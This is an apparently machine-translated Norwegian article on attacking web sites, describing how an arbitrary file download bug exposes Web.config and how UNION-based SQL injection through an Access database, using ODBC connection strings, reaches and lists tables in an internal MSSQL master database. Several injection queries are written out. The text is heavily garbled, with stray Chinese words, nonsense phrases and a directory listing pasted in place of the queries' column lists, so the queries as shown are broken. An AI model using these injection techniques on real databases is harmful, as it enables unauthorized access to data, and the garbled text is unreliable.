For å se hvordan hackere å få tilgang til MSSQL Data Access



Første punktet, har denne metoden vært for lenge siden, men sannsynligvis i hodet med en rolig stund for lenge, allerede i glemt staten. Takk Trace informasjon. Ofte ansiktet vilkårlig filnedlasting sårbarhet, den generelle metoden for behandling er å returnere databasetilkoblingen filen til å laste ned, og deretter den eksterne tilkoblingen.

Ofte ansiktet vilkårlig filnedlasting sårbarhet, den generelle metoden for behandling er å returnere databasetilkoblingen filen du laster ned, så gå opp den eksterne tilkoblingen. Enn den ideelle staten MSSQL og MYSQL, særlig i databasen og WEB er ikke tilfelle med separasjon, Backup SHELL, eksport SHELL, kan brukes mange måter.

Men hvis databasen og WEB separasjon, og databasen kan ikke få tilgang til intranettet, eller ha en brannmur 等等 andre midler 使得 Vi kunne ikke Yuan Cheng Shu Juku o'clock, La oss anta noen av Zai vanskelige, MSSQL Zhu Hun kunne ikke engang finne et punkt, i mange tilfeller vanligvis hjelpeløs.

Som et eksempel her for å MSSQL, skjedde det å finne en vilkårlig fil nedlasting sårbarhet, direkte under Web.config komme tilbake for å se, på tvers av en database med i nettverket, på utkikk etter i lang tid fant ikke injeksjonspunktet, litt marginal notater om, er det et punkt, er dessverre ACCESS databasen. Gjett bordet og tilbake. Imidlertid er bakgrunnen målet stasjonen kjent, så forberedt på å lese fra tilgangspunktet av målet punktet injeksjon administratorkontoen. Noen intuitive, gitt rett under min lokale testresultater:

Få et enkelt punkt, tre felt, ID, XM, XB, ID-nummer type, etterfulgt av to tegn.

Anta at det finnes smutthull i dokumentet, gjennomføringen av SQL-setningen velger backup bin conf config data eshow_sitemap.html generate.sh logge maint sitemap.html svn tmp fra test whrere id = 1

Det er tre felt bruker, vi UNION felles forespørsel til passer til det han er (black-box drift med rekkefølgen i feltene, eller for å bestemme antall brute-force)

SELECT backup bin conf config data eshow_sitemap.html generate.sh logge maint sitemap.html svn tmp FRA testen der id = 999999 union Velg en topp 1,2, navn fra [ODBC; Driver = SQL Server; UID = dbo; PWD = dBA ; Server =*****; DataBase = master]. ku

Her hoveddatabasen jeg laget en tabell kalt KU, over dette søket, siden id = 999999 ikke finnes under handlingen av den felles henvendelsen, webinnhold på en original viser plasseringen av databasen tilgang show ut av strukturen vår UNION spørringsresultatene, navnet på feltet i en karakter visningsplassering.

Ku navn feltet innholdet i denne tabellen vises i nettet på tilsvarende stilling, men dette er åpenbart ikke det vi ønsker, vil vi hele tabellen struktur og innhold

Å mestre som et eksempel, her er simulering resultater, før jeg allerede kjenner strukturen av master, praktiske og resultatene vil bli sammenliknet med sjekksummen er feil.

SELECT backup bin conf config data eshow_sitemap.html generate.sh logge maint sitemap.html svn tmp FRA testen der id = 999999 union Velg toppen 1 1,2, TABLE_NAME fra [ODBC; Driver = SQL Server; UID = dbo; PWD = dBA ; Server =*****; DataBase = master]. information_schema.tables

Denne master database tabellen navn først kom ut.

Sett deg bak navnet på tabellen er enkel.

SELECT backup bin conf config data eshow_sitemap.html generate.sh logge maint sitemap.html svn tmp FRA testen der id = 999999 union Velg toppen 1 1,2, TABLE_NAME fra [ODBC; Driver = SQL Server; UID = dbo; PWD = dBA ; Server =*****; DataBase = master]. information_schema.tables der TABLE_NAME ikke i (velg toppen 1 TABLE_NAME fra [ODBC; Driver = SQL Server; UID = dbo; PWD = dba; Server =****; DataBase = master]. information_schema.tables)

Mindreverdig rase klassen til å presse konvensjonelle metoden for å få feltet navn og innhold i felt av koden under sin egen tungvint.

Hvis databasen hvor ID er en karakter, så

SELECT backup bin conf config data eshow_sitemap.html generate.sh logge maint sitemap.html svn tmp FRA testen der id = '999999 'fagforening Velg toppen 1 1,2, TABLE_NAME fra [ODBC; Driver = SQL Server; UID = dbo; PWD = dBA; Server =***; DataBase = master]. information_schema.tables der '1 '= '1'